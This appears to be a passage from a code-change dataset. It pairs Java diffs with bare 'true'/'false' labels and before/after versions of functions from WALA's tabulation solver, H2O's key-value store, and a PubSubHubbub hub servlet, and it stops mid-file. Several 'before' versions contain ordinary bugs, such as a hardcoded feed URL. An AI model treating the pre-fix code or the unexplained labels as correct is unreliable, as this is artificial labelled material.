callFlow.addCallEdge(c, edge.d2, d1); // handle summary edges now as well. this is different from the PoPL // 95 paper. if (summaries != null) { // for each exit from the callee P p = supergraph.getProcOf(callee); T[] exits = supergraph.getExitsForProcedure(p); - boolean gotReuse = false; for (int e = 0; e < exits.length; e++) { final T exit = exits[e]; // if "exit" is a valid exit from the callee to the return // site being processed if (DEBUG_LEVEL > 0 && Assertions.verifyAssertions) { Assertions._assert(supergraph.containsNode(exit)); } int x_num = supergraph.getLocalBlockNumber(exit); IntSet reachedBySummary = summaries.getSummaryEdges(s_p_num, x_num, d1); if (reachedBySummary != null) { for (final T returnSite : returnSitesForCallee) { if (supergraph.hasEdge(exit, returnSite)) { // reachedBySummary := {d2} s.t. <callee,d1> -> <exit,d2> // was recorded as a summary edge - gotReuse = true; final IFlowFunction retf = flowFunctionMap.getReturnFlowFunction(edge.target, exit, returnSite); reachedBySummary.foreach(new IntSetAction() { public void act(int d2) { assert curSummaryEdge == null : "curSummaryEdge should be null here"; curSummaryEdge = PathEdge.createPathEdge(callee, d1, exit, d2); if (retf instanceof IBinaryReturnFlowFunction) { final IntSet D5 = computeBinaryFlow(edge.d2, d2, (IBinaryReturnFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } else { final IntSet D5 = computeFlow(d2, (IUnaryFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } curSummaryEdge = null; } }); } } } } - recordCall(edge.target, callee, d1, gotReuse); - } else { // summaries == null - // no reuse possible - recordCall(edge.target, callee, d1, false); - } + } } }); } } // special logic: in backwards problems, a "call" node can have // "normal" successors as well. deal with these. for (Iterator<? extends T> it = supergraph.getNormalSuccessors(edge.target); it.hasNext();) { final T m = it.next(); if (DEBUG_LEVEL > 0) { System.err.println("normal successor: " + m); } IUnaryFlowFunction f = flowFunctionMap.getNormalFlowFunction(edge.target, m); IntSet D3 = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("normal successor reached: " + D3); } if (D3 != null) { D3.foreach(new IntSetAction() { public void act(int d3) { propagate(edge.entry, edge.d1, m, d3); } }); } } // [17 - 19] // we modify this to handle each return site individually for (final T returnSite : allReturnSites) { if (DEBUG_LEVEL > 0) { System.err.println(" process return site: " + returnSite); } IUnaryFlowFunction f = null; if (hasCallee) { f = flowFunctionMap.getCallToReturnFlowFunction(edge.target, returnSite); } else { f = flowFunctionMap.getCallNoneToReturnFlowFunction(edge.target, returnSite); } IntSet reached = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("reached: " + reached); } if (reached != null) { reached.foreach(new IntSetAction() { public void act(int x) { if (Assertions.verifyAssertions) { Assertions._assert(x >= 0); Assertions._assert(edge.d1 >= 0); } propagate(edge.entry, edge.d1, returnSite, x); } }); } } } /** * invoked when a callee is processed with a particular entry fact * * @param callNode * @param callee * @param d1 the entry fact * @param gotReuse whether existing summary edges were applied */ protected void recordCall(T callNode, T callee, int d1, boolean gotReuse) { } /** * @return f(call_d, exit_d); * */ protected IntSet computeBinaryFlow(int call_d, int exit_d, IBinaryReturnFlowFunction f) { if (DEBUG_LEVEL > 0) { System.err.println("got binary flow function " + f); } IntSet result = f.getTargets(call_d, exit_d); return result; } /** * @return f(d1) * */ protected IntSet computeFlow(int d1, IUnaryFlowFunction f) { if (DEBUG_LEVEL > 0) { System.err.println("got flow function " + f); } IntSet result = f.getTargets(d1); if (result == null) { return null; } else { return result; } } /** * @return f^{-1}(d2) */ protected IntSet computeInverseFlow(int d2, IReversibleFlowFunction f) { return f.getSources(d2); } protected PathEdge<T> popFromWorkList() { assert worklist != null; return worklist.take(); } private PathEdge peekFromWorkList() { // horrible. don't use in performance-critical assert worklist != null; PathEdge<T> result = worklist.take(); worklist.insert(result); return result; } /** * Propagate the fact <s_p,i> -> <n, j> has arisen as a path edge. Returns <code>true</code> iff the path edge was not previously * observed. * * @param s_p entry block * @param i dataflow fact on entry * @param n reached block * @param j dataflow fact reached */ protected boolean propagate(T s_p, int i, T n, int j) { int number = supergraph.getLocalBlockNumber(n); if (Assertions.verifyAssertions) { if (number < 0) { System.err.println("BOOM " + n); supergraph.getLocalBlockNumber(n); } Assertions._assert(number >= 0); } LocalPathEdges pLocal = findOrCreateLocalPathEdges(s_p); if (Assertions.verifyAssertions) { Assertions._assert(j >= 0); } if (!pLocal.contains(i, number, j)) { if (DEBUG_LEVEL > 0) { System.err.println("propagate " + s_p + " " + i + " " + number + " " + j); } pLocal.addPathEdge(i, number, j); addToWorkList(s_p, i, n, j); return true; } return false; } public LocalPathEdges getLocalPathEdges(T s_p) { return pathEdges.get(s_p); } /** * Merging: suppose we're doing propagate <s_p,i> -> <n,j> but we already have path edges <s_p,i> -> <n, x>, <s_p,i> -> <n,y>, and * <s_p,i> -><n, z>. * * let \alpha be the merge function. then instead of <s_p,i> -> <n,j>, we propagate <s_p,i> -> <n, \alpha(j,x,y,z) > !!! * * return -1 if no fact should be propagated */ private int merge(T s_p, int i, T n, int j) { if (Assertions.verifyAssertions) { Assertions._assert(j >= 0); } IMergeFunction alpha = problem.getMergeFunction(); if (alpha != null) { LocalPathEdges lp = pathEdges.get(s_p); IntSet preExistFacts = lp.getReachable(supergraph.getLocalBlockNumber(n), i); if (preExistFacts == null) { return j; } else { int size = preExistFacts.size(); if ((size == 0) || ((size == 1) && preExistFacts.contains(j))) { return j; } else { int result = alpha.merge(preExistFacts, j); return result; } } } else { return j; } } protected void addToWorkList(T s_p, int i, T n, int j) { if (worklist == null) { worklist = makeWorklist(); } worklist.insert(PathEdge.createPathEdge(s_p, i, n, j)); if (DEBUG_LEVEL >= 3) { System.err.println("WORKLIST: " + worklist); } } protected LocalPathEdges findOrCreateLocalPathEdges(T s_p) { LocalPathEdges result = pathEdges.get(s_p); if (result == null) { result = makeLocalPathEdges(); pathEdges.put(s_p, result); } return result; } private LocalPathEdges makeLocalPathEdges() { return problem.getMergeFunction() == null ? new LocalPathEdges(false) : new LocalPathEdges(true); } protected LocalSummaryEdges findOrCreateLocalSummaryEdges(P proc) { LocalSummaryEdges result = summaryEdges.get(proc); if (result == null) { result = new LocalSummaryEdges(); summaryEdges.put(proc, result); } return result; } protected CallFlowEdges findOrCreateCallFlowEdges(T s_p) { CallFlowEdges result = callFlowEdges.get(s_p); if (result == null) { result = new CallFlowEdges(); callFlowEdges.put(s_p, result); } return result; } /** * get the bitvector of facts that hold at the entry to a given node * * @return IntSet representing the bitvector */ public IntSet getResult(T node) { P proc = supergraph.getProcOf(node); int n = supergraph.getLocalBlockNumber(node); T[] entries = supergraph.getEntriesForProcedure(proc); MutableIntSet result = MutableSparseIntSet.makeEmpty(); for (int i = 0; i < entries.length; i++) { T s_p = entries[i]; LocalPathEdges lp = pathEdges.get(s_p); if (lp != null) { result.addAll(lp.getReachable(n)); } } Set<PathEdge<T>> pSeeds = seeds.get(proc); if (pSeeds != null) { for (PathEdge<T> seed : pSeeds) { LocalPathEdges lp = pathEdges.get(seed.entry); if (lp != null) { result.addAll(lp.getReachable(n)); } } } return result; } public class Result implements TabulationResult<T, P, F> { /** * get the bitvector of facts that hold at the entry to a given node * * @return IntSet representing the bitvector */ public IntSet getResult(T node) { return TabulationSolver.this.getResult(node); } @Override public String toString() { StringBuffer result = new StringBuffer(); TreeMap<Object, TreeSet<T>> map = new TreeMap<Object, TreeSet<T>>(ToStringComparator.instance()); Comparator<Object> c = new Comparator<Object>() { public int compare(Object o1, Object o2) { if (!(o1 instanceof IBasicBlock)) { return -1; } IBasicBlock bb1 = (IBasicBlock) o1; IBasicBlock bb2 = (IBasicBlock) o2; return bb1.getNumber() - bb2.getNumber(); } }; for (Iterator<? extends T> it = supergraph.iterator(); it.hasNext();) { T n = it.next(); P proc = supergraph.getProcOf(n); TreeSet<T> s = map.get(proc); if (s == null) { s = new TreeSet<T>(c); map.put(proc, s); } s.add(n); } for (Iterator<Map.Entry<Object, TreeSet<T>>> it = map.entrySet().iterator(); it.hasNext();) { Map.Entry<Object, TreeSet<T>> e = it.next(); Set<T> s = e.getValue(); for (Iterator<T> it2 = s.iterator(); it2.hasNext();) { T o = it2.next(); result.append(o + " : " + getResult(o) + "\n"); } } return result.toString(); } /* * @see com.ibm.wala.dataflow.IFDS.TabulationResult#getProblem() */ public TabulationProblem<T, P, F> getProblem() { return problem; } /* * @see com.ibm.wala.dataflow.IFDS.TabulationResult#getSupergraphNodesReached() */ public Collection<T> getSupergraphNodesReached() { Collection<T> result = HashSetFactory.make(); for (Entry<T, LocalPathEdges> e : pathEdges.entrySet()) { T key = e.getKey(); P proc = supergraph.getProcOf(key); IntSet reached = e.getValue().getReachedNodeNumbers(); for (IntIterator ii = reached.intIterator(); ii.hasNext();) { result.add(supergraph.getLocalBlock(proc, ii.next())); } } return result; } /** * @param n1 * @param d1 * @param n2 * @return set of d2 s.t. (n1,d1) -> (n2,d2) is recorded as a summary edge, or null if none found */ public IntSet getSummaryTargets(T n1, int d1, T n2) { LocalSummaryEdges summaries = summaryEdges.get(supergraph.getProcOf(n1)); if (summaries == null) { return null; } int num1 = supergraph.getLocalBlockNumber(n1); int num2 = supergraph.getLocalBlockNumber(n2); return summaries.getSummaryEdges(num1, num2, d1); } public Collection<PathEdge<T>> getSeeds() { return TabulationSolver.this.getSeeds(); } } /** * @return Returns the supergraph. */ public ISupergraph<T, P> getSupergraph() { return supergraph; } protected class Worklist extends Heap<PathEdge<T>> implements ITabulationWorklist<T> { Worklist() { super(100); } @Override protected boolean compareElements(PathEdge<T> p1, PathEdge<T> p2) { return problem.getDomain().hasPriorityOver(p1, p2); } } /** * @return set of d1 s.t. (n1,d1) -> (n2,d2) is recorded as a summary edge, or null if none found * @throws UnsupportedOperationException unconditionally */ public IntSet getSummarySources(T n2, int d2, T n1) throws UnsupportedOperationException { throw new UnsupportedOperationException("not currently supported. be careful"); // LocalSummaryEdges summaries = summaryEdges.get(supergraph.getProcOf(n1)); // if (summaries == null) { // return null; // } // int num1 = supergraph.getLocalBlockNumber(n1); // int num2 = supergraph.getLocalBlockNumber(n2); // return summaries.getInvertedSummaryEdgesForTarget(num1, num2, d2); } public TabulationProblem<T, P, F> getProblem() { return problem; } public Collection<PathEdge<T>> getSeeds() { return Collections.unmodifiableCollection(allSeeds); } public IProgressMonitor getProgressMonitor() { return progressMonitor; } protected PathEdge<T> getCurPathEdge() { return curPathEdge; } protected PathEdge<T> getCurSummaryEdge() { return curSummaryEdge; } }
false
true
protected void processCall(final PathEdge<T> edge) { if (DEBUG_LEVEL > 0) { System.err.println("process call: " + edge); } // c:= number of the call node final int c = supergraph.getNumber(edge.target); Collection<T> allReturnSites = HashSetFactory.make(); // populate allReturnSites with return sites for missing calls. for (Iterator<? extends T> it = supergraph.getReturnSites(edge.target, null); it.hasNext();) { allReturnSites.add(it.next()); } // [14 - 16] boolean hasCallee = false; for (Iterator<? extends T> it = supergraph.getCalledNodes(edge.target); it.hasNext();) { hasCallee = true; final T callee = it.next(); if (DEBUG_LEVEL > 0) { System.err.println(" process callee: " + callee); } MutableSparseIntSet reached = MutableSparseIntSet.makeEmpty(); final Collection<T> returnSitesForCallee = Iterator2Collection.toSet(supergraph.getReturnSites(edge.target, supergraph .getProcOf(callee))); allReturnSites.addAll(returnSitesForCallee); // we modify this to handle each return site individually. Some types of problems // compute different flow functions for each return site. for (final T returnSite : returnSitesForCallee) { IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, returnSite); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } } // in some problems, we also want to consider flow into a callee that can never flow out // via a return. in this case, the return site is null. IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, null); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } if (DEBUG_LEVEL > 0) { System.err.println(" reached: " + reached); } if (reached != null) { final LocalSummaryEdges summaries = summaryEdges.get(supergraph.getProcOf(callee)); final CallFlowEdges callFlow = findOrCreateCallFlowEdges(callee); final int s_p_num = supergraph.getLocalBlockNumber(callee); reached.foreach(new IntSetAction() { public void act(final int d1) { propagate(callee, d1, callee, d1); // cache the fact that we've flowed <c, d2> -> <callee, d1> by a // call flow callFlow.addCallEdge(c, edge.d2, d1); // handle summary edges now as well. this is different from the PoPL // 95 paper. if (summaries != null) { // for each exit from the callee P p = supergraph.getProcOf(callee); T[] exits = supergraph.getExitsForProcedure(p); boolean gotReuse = false; for (int e = 0; e < exits.length; e++) { final T exit = exits[e]; // if "exit" is a valid exit from the callee to the return // site being processed if (DEBUG_LEVEL > 0 && Assertions.verifyAssertions) { Assertions._assert(supergraph.containsNode(exit)); } int x_num = supergraph.getLocalBlockNumber(exit); IntSet reachedBySummary = summaries.getSummaryEdges(s_p_num, x_num, d1); if (reachedBySummary != null) { for (final T returnSite : returnSitesForCallee) { if (supergraph.hasEdge(exit, returnSite)) { // reachedBySummary := {d2} s.t. <callee,d1> -> <exit,d2> // was recorded as a summary edge gotReuse = true; final IFlowFunction retf = flowFunctionMap.getReturnFlowFunction(edge.target, exit, returnSite); reachedBySummary.foreach(new IntSetAction() { public void act(int d2) { assert curSummaryEdge == null : "curSummaryEdge should be null here"; curSummaryEdge = PathEdge.createPathEdge(callee, d1, exit, d2); if (retf instanceof IBinaryReturnFlowFunction) { final IntSet D5 = computeBinaryFlow(edge.d2, d2, (IBinaryReturnFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } else { final IntSet D5 = computeFlow(d2, (IUnaryFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } curSummaryEdge = null; } }); } } } } recordCall(edge.target, callee, d1, gotReuse); } else { // summaries == null // no reuse possible recordCall(edge.target, callee, d1, false); } } }); } } // special logic: in backwards problems, a "call" node can have // "normal" successors as well. deal with these. for (Iterator<? extends T> it = supergraph.getNormalSuccessors(edge.target); it.hasNext();) { final T m = it.next(); if (DEBUG_LEVEL > 0) { System.err.println("normal successor: " + m); } IUnaryFlowFunction f = flowFunctionMap.getNormalFlowFunction(edge.target, m); IntSet D3 = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("normal successor reached: " + D3); } if (D3 != null) { D3.foreach(new IntSetAction() { public void act(int d3) { propagate(edge.entry, edge.d1, m, d3); } }); } } // [17 - 19] // we modify this to handle each return site individually for (final T returnSite : allReturnSites) { if (DEBUG_LEVEL > 0) { System.err.println(" process return site: " + returnSite); } IUnaryFlowFunction f = null; if (hasCallee) { f = flowFunctionMap.getCallToReturnFlowFunction(edge.target, returnSite); } else { f = flowFunctionMap.getCallNoneToReturnFlowFunction(edge.target, returnSite); } IntSet reached = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("reached: " + reached); } if (reached != null) { reached.foreach(new IntSetAction() { public void act(int x) { if (Assertions.verifyAssertions) { Assertions._assert(x >= 0); Assertions._assert(edge.d1 >= 0); } propagate(edge.entry, edge.d1, returnSite, x); } }); } } }
protected void processCall(final PathEdge<T> edge) { if (DEBUG_LEVEL > 0) { System.err.println("process call: " + edge); } // c:= number of the call node final int c = supergraph.getNumber(edge.target); Collection<T> allReturnSites = HashSetFactory.make(); // populate allReturnSites with return sites for missing calls. for (Iterator<? extends T> it = supergraph.getReturnSites(edge.target, null); it.hasNext();) { allReturnSites.add(it.next()); } // [14 - 16] boolean hasCallee = false; for (Iterator<? extends T> it = supergraph.getCalledNodes(edge.target); it.hasNext();) { hasCallee = true; final T callee = it.next(); if (DEBUG_LEVEL > 0) { System.err.println(" process callee: " + callee); } MutableSparseIntSet reached = MutableSparseIntSet.makeEmpty(); final Collection<T> returnSitesForCallee = Iterator2Collection.toSet(supergraph.getReturnSites(edge.target, supergraph .getProcOf(callee))); allReturnSites.addAll(returnSitesForCallee); // we modify this to handle each return site individually. Some types of problems // compute different flow functions for each return site. for (final T returnSite : returnSitesForCallee) { IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, returnSite); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } } // in some problems, we also want to consider flow into a callee that can never flow out // via a return. in this case, the return site is null. IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, null); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } if (DEBUG_LEVEL > 0) { System.err.println(" reached: " + reached); } if (reached != null) { final LocalSummaryEdges summaries = summaryEdges.get(supergraph.getProcOf(callee)); final CallFlowEdges callFlow = findOrCreateCallFlowEdges(callee); final int s_p_num = supergraph.getLocalBlockNumber(callee); reached.foreach(new IntSetAction() { public void act(final int d1) { // we get reuse if we _don't_ propagate a new fact to the callee entry final boolean gotReuse = !propagate(callee, d1, callee, d1); recordCall(edge.target, callee, d1, gotReuse); // cache the fact that we've flowed <c, d2> -> <callee, d1> by a // call flow callFlow.addCallEdge(c, edge.d2, d1); // handle summary edges now as well. this is different from the PoPL // 95 paper. if (summaries != null) { // for each exit from the callee P p = supergraph.getProcOf(callee); T[] exits = supergraph.getExitsForProcedure(p); for (int e = 0; e < exits.length; e++) { final T exit = exits[e]; // if "exit" is a valid exit from the callee to the return // site being processed if (DEBUG_LEVEL > 0 && Assertions.verifyAssertions) { Assertions._assert(supergraph.containsNode(exit)); } int x_num = supergraph.getLocalBlockNumber(exit); IntSet reachedBySummary = summaries.getSummaryEdges(s_p_num, x_num, d1); if (reachedBySummary != null) { for (final T returnSite : returnSitesForCallee) { if (supergraph.hasEdge(exit, returnSite)) { // reachedBySummary := {d2} s.t. <callee,d1> -> <exit,d2> // was recorded as a summary edge final IFlowFunction retf = flowFunctionMap.getReturnFlowFunction(edge.target, exit, returnSite); reachedBySummary.foreach(new IntSetAction() { public void act(int d2) { assert curSummaryEdge == null : "curSummaryEdge should be null here"; curSummaryEdge = PathEdge.createPathEdge(callee, d1, exit, d2); if (retf instanceof IBinaryReturnFlowFunction) { final IntSet D5 = computeBinaryFlow(edge.d2, d2, (IBinaryReturnFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } else { final IntSet D5 = computeFlow(d2, (IUnaryFlowFunction) retf); if (D5 != null) { D5.foreach(new IntSetAction() { public void act(int d5) { propagate(edge.entry, edge.d1, returnSite, d5); } }); } } curSummaryEdge = null; } }); } } } } } } }); } } // special logic: in backwards problems, a "call" node can have // "normal" successors as well. deal with these. for (Iterator<? extends T> it = supergraph.getNormalSuccessors(edge.target); it.hasNext();) { final T m = it.next(); if (DEBUG_LEVEL > 0) { System.err.println("normal successor: " + m); } IUnaryFlowFunction f = flowFunctionMap.getNormalFlowFunction(edge.target, m); IntSet D3 = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("normal successor reached: " + D3); } if (D3 != null) { D3.foreach(new IntSetAction() { public void act(int d3) { propagate(edge.entry, edge.d1, m, d3); } }); } } // [17 - 19] // we modify this to handle each return site individually for (final T returnSite : allReturnSites) { if (DEBUG_LEVEL > 0) { System.err.println(" process return site: " + returnSite); } IUnaryFlowFunction f = null; if (hasCallee) { f = flowFunctionMap.getCallToReturnFlowFunction(edge.target, returnSite); } else { f = flowFunctionMap.getCallNoneToReturnFlowFunction(edge.target, returnSite); } IntSet reached = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println("reached: " + reached); } if (reached != null) { reached.foreach(new IntSetAction() { public void act(int x) { if (Assertions.verifyAssertions) { Assertions._assert(x >= 0); Assertions._assert(edge.d1 >= 0); } propagate(edge.entry, edge.d1, returnSite, x); } }); } } }
diff --git a/src/main/java/water/UKV.java b/src/main/java/water/UKV.java index 7058f4035..4ed461750 100644 --- a/src/main/java/water/UKV.java +++ b/src/main/java/water/UKV.java @@ -1,99 +1,98 @@ package water; /** * User-View Key/Value Store * * This class handles user-view keys, and hides ArrayLets from the end user. * * * @author <a href="mailto:[email protected]"></a> * @version 1.0 */ public abstract class UKV { // This put is a top-level user-update, and not a reflected or retried // update. i.e., The User has initiated a change against the K/V store. // This is a WEAK update: it is only strongly ordered with other updates to // the SAME key on the SAME node. static public void put( Key key, Value val ) { Futures fs = new Futures(); put(key,val,fs); fs.blockForPending(); // Block for remote-put to complete } static public void put( Key key, Value val, Futures fs ) { Value res = DKV.put(key,val,fs); // If the old Value was a large array, we need to delete the leftover // chunks - they are unrelated to the new Value which might be either // bigger or smaller than the old Value. if( res != null && res.isArray() ) { ValueArray ary = res.get(); for( long i=0; i<ary.chunks(); i++ ) // Delete all the chunks DKV.remove(ary.getChunkKey(i),fs); } if( key._kb[0] == Key.KEY_OF_KEYS ) // Key-of-keys? for( Key k : key.flatten() ) // Then recursively delete remove(k,fs); - if( res != null ) res.freeMem(); } static public void put( Key key, Iced val, Futures fs ) { put(key,new Value(key, val),fs); } static public void remove( Key key ) { remove(key,true); } static public void remove( Key key, boolean block) { Futures fs = new Futures(); remove(key,fs); // Recursively delete, gather pending deletes if(block) fs.blockForPending(); // Block until all is deleted } // Recursively remove, gathering all the pending remote key-deletes static private void remove( Key key, Futures fs ) { Value val = DKV.get(key,32,H2O.GET_KEY_PRIORITY); // Get the existing Value, if any if( val == null ) return; // Trivial delete if( val.isArray() ) { // See if this is an Array ValueArray ary = val.get(); for( long i=0; i<ary.chunks(); i++ ) // Delete all the chunks DKV.remove(ary.getChunkKey(i),fs); } if( key._kb[0] == Key.KEY_OF_KEYS ) // Key-of-keys? for( Key k : key.flatten() ) // Then recursively delete remove(k,fs); DKV.remove(key,fs); } // User-Weak-Get a Key from the distributed cloud. // Right now, just gets chunk#0 from a ValueArray, or a normal Value otherwise. static public Value getValue( Key key ) { Value val = DKV.get(key); if( val != null && val.isArray() ) { Key k2 = ValueArray.getChunkKey(0,key); Value vchunk0 = DKV.get(k2); assert vchunk0 != null : "missed looking for key "+k2+" from "+key; return vchunk0; // Else just get the prefix asked for } return val; } static public void put(String s, Value v) { put(Key.make(s), v); } //static public Value get(String s) { return get(Key.make(s)); } static public void remove(String s) { remove(Key.make(s)); } // Also, allow auto-serialization static public void put( Key key, Freezable fr ) { if( fr == null ) UKV.remove(key); else UKV.put(key,new Value(key, fr)); } static public void put( Key key, Iced fr ) { if( fr == null ) UKV.remove(key); else UKV.put(key,new Value(key, fr)); } public static <T extends Iced> T get(Key k) { Value v = DKV.get(k); return (v == null) ? null : (T)v.get(); } public static <T extends Freezable> T get(Key k, Class<T> C) { Value v = DKV.get(k); return (v == null) ? null : v.get(C); } }
true
true
static public void put( Key key, Value val, Futures fs ) { Value res = DKV.put(key,val,fs); // If the old Value was a large array, we need to delete the leftover // chunks - they are unrelated to the new Value which might be either // bigger or smaller than the old Value. if( res != null && res.isArray() ) { ValueArray ary = res.get(); for( long i=0; i<ary.chunks(); i++ ) // Delete all the chunks DKV.remove(ary.getChunkKey(i),fs); } if( key._kb[0] == Key.KEY_OF_KEYS ) // Key-of-keys? for( Key k : key.flatten() ) // Then recursively delete remove(k,fs); if( res != null ) res.freeMem(); }
static public void put( Key key, Value val, Futures fs ) { Value res = DKV.put(key,val,fs); // If the old Value was a large array, we need to delete the leftover // chunks - they are unrelated to the new Value which might be either // bigger or smaller than the old Value. if( res != null && res.isArray() ) { ValueArray ary = res.get(); for( long i=0; i<ary.chunks(); i++ ) // Delete all the chunks DKV.remove(ary.getChunkKey(i),fs); } if( key._kb[0] == Key.KEY_OF_KEYS ) // Key-of-keys? for( Key k : key.flatten() ) // Then recursively delete remove(k,fs); }
diff --git a/pubsubhubbub/hub/src/main/java/org/ow2/chameleon/rose/pubsubhubbub/hub/Hub.java b/pubsubhubbub/hub/src/main/java/org/ow2/chameleon/rose/pubsubhubbub/hub/Hub.java index 6191c4d..c1e3937 100644 --- a/pubsubhubbub/hub/src/main/java/org/ow2/chameleon/rose/pubsubhubbub/hub/Hub.java +++ b/pubsubhubbub/hub/src/main/java/org/ow2/chameleon/rose/pubsubhubbub/hub/Hub.java @@ -1,342 +1,342 @@ package org.ow2.chameleon.rose.pubsubhubbub.hub; import static org.osgi.framework.FrameworkUtil.createFilter; import java.io.IOException; import java.text.ParseException; import java.util.ArrayList; import java.util.Dictionary; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.felix.ipojo.ConfigurationException; import org.apache.felix.ipojo.Factory; import org.apache.felix.ipojo.MissingHandlerException; import org.apache.felix.ipojo.UnacceptableConfiguration; import org.apache.felix.ipojo.annotations.Component; import org.apache.felix.ipojo.annotations.Property; import org.apache.felix.ipojo.annotations.Requires; import org.apache.felix.ipojo.annotations.Validate; import org.apache.http.HttpStatus; import org.osgi.framework.BundleContext; import org.osgi.framework.Constants; import org.osgi.framework.InvalidSyntaxException; import org.osgi.framework.ServiceReference; import org.osgi.service.http.HttpService; import org.osgi.service.http.NamespaceException; import org.osgi.service.log.LogService; import org.osgi.service.remoteserviceadmin.EndpointDescription; import org.osgi.service.remoteserviceadmin.RemoteConstants; import org.osgi.util.tracker.ServiceTracker; import org.osgi.util.tracker.ServiceTrackerCustomizer; import org.ow2.chameleon.json.JSONService; import org.ow2.chameleon.syndication.FeedEntry; import org.ow2.chameleon.syndication.FeedReader; @Component(name = "Rose_Pubsubhubbub.hub") public class Hub extends HttpServlet { /** * */ private static final long serialVersionUID = -1526708334275691196L; private static final String FEED_READER_FACTORY_FILTER = "(&(" + Constants.OBJECTCLASS + "=org.apache.felix.ipojo.Factory)(factory.name=org.ow2.chameleon.syndication.rome.reader))"; private static final String READER_SERVICE_CLASS = "org.ow2.chameleon.syndication.FeedReader"; private static final String READER_FILTER_PROPERTY = "org.ow2.chameleon.syndication.feed.url"; private static final String ENDPOINT_ADD = "endpoint.add"; private static final String ENDPOINT_REMOVE = "endpoint.remove"; private static final String TOPIC_DELETE = "topic.delete"; @Requires private HttpService httpService; @Requires private JSONService json; @Requires(optional = true) private LogService logger; @Property(name="hub.url") private String hubServlet = "/hub"; // Http response status code int responseCode; // store instances of RSS reader for different topics private Map<String, FeedReader> readers; private ServiceTracker feedReaderTracker; private ServiceTracker factoryTracker; private BundleContext context; private Dictionary<String, Object> instanceDictionary; private static Registrations registrations; private SendSubscription sendSubscription; public enum HubMode { publish, unpublish, update, subscribe, unsubscribe, getAllEndpoints; public Object getValue(Map<String, Object> values) { return values.get(this.toString()); } } public Hub(BundleContext context) { this.context = context; } @Validate void start() { try { httpService.registerServlet(hubServlet, this, null, null); registrations = new Registrations(); readers = new HashMap<String, FeedReader>(); } catch (ServletException e) { e.printStackTrace(); } catch (NamespaceException e) { e.printStackTrace(); } } void stop() { httpService.unregister(hubServlet); } private boolean createReader(String rssUrl) { try { new FeedReaderTracker(rssUrl); new FactoryTracker(rssUrl); return true; } catch (InvalidSyntaxException e) { logger.log(LogService.LOG_ERROR, "Tracker not stared", e); } return false; } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String rssUrl; String endpointFilter; String callBackUrl; // check the content type, must be application/x-www-form-urlencoded if ((!(req.getHeader("Content-Type") .equals("application/x-www-form-urlencoded"))) || (req.getParameter("hub.mode") == null)) { resp.setStatus(HttpStatus.SC_BAD_REQUEST); return; } rssUrl = req.getParameter("hub.topic"); endpointFilter = req.getParameter("hub.endp.filter"); callBackUrl = req.getParameter("hub.callback"); // check the hub mode switch (HubMode.valueOf(req.getParameter("hub.mode"))) { case publish: if ((rssUrl != null) && (createReader(rssUrl))) { // register a topic registrations.addTopic(rssUrl); responseCode = HttpStatus.SC_CREATED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case unpublish: if (rssUrl != null) { // remove a topic sendSubscription = new SendSubscription(rssUrl, ENDPOINT_REMOVE, this,TOPIC_DELETE); sendSubscription.start(); responseCode = HttpStatus.SC_ACCEPTED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case update: if (rssUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } - FeedEntry feed = readers.get("http://Bartek-PC:8080//roserss").getLastEntry(); + FeedEntry feed = readers.get(rssUrl).getLastEntry(); try { @SuppressWarnings("unchecked") EndpointDescription edp = getEndpointDescriptionFromJSON(json .fromJSON(feed.content())); if (feed.title().equals("Endpoint added")) { registrations.addEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_ADD, this); sendSubscription.start(); } else if (feed.title().equals("Endpoint removed")) { registrations.removeEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_REMOVE, this); sendSubscription.start(); } responseCode = HttpStatus.SC_ACCEPTED; } catch (ParseException e) { responseCode = HttpStatus.SC_BAD_REQUEST; e.printStackTrace(); } break; case subscribe: if ((endpointFilter == null) || (callBackUrl == null)) { responseCode = HttpStatus.SC_BAD_REQUEST; } else { registrations.addSubscrition(callBackUrl, endpointFilter); responseCode = HttpStatus.SC_ACCEPTED; // check if already register an endpoint which match the filter sendSubscription = new SendSubscription(callBackUrl, ENDPOINT_ADD, this); sendSubscription.start(); } break; case unsubscribe: if (callBackUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } registrations.removeSubscribtion(callBackUrl); responseCode = HttpStatus.SC_ACCEPTED; break; case getAllEndpoints: resp.setContentType("text/html"); for (EndpointDescription endpoint : 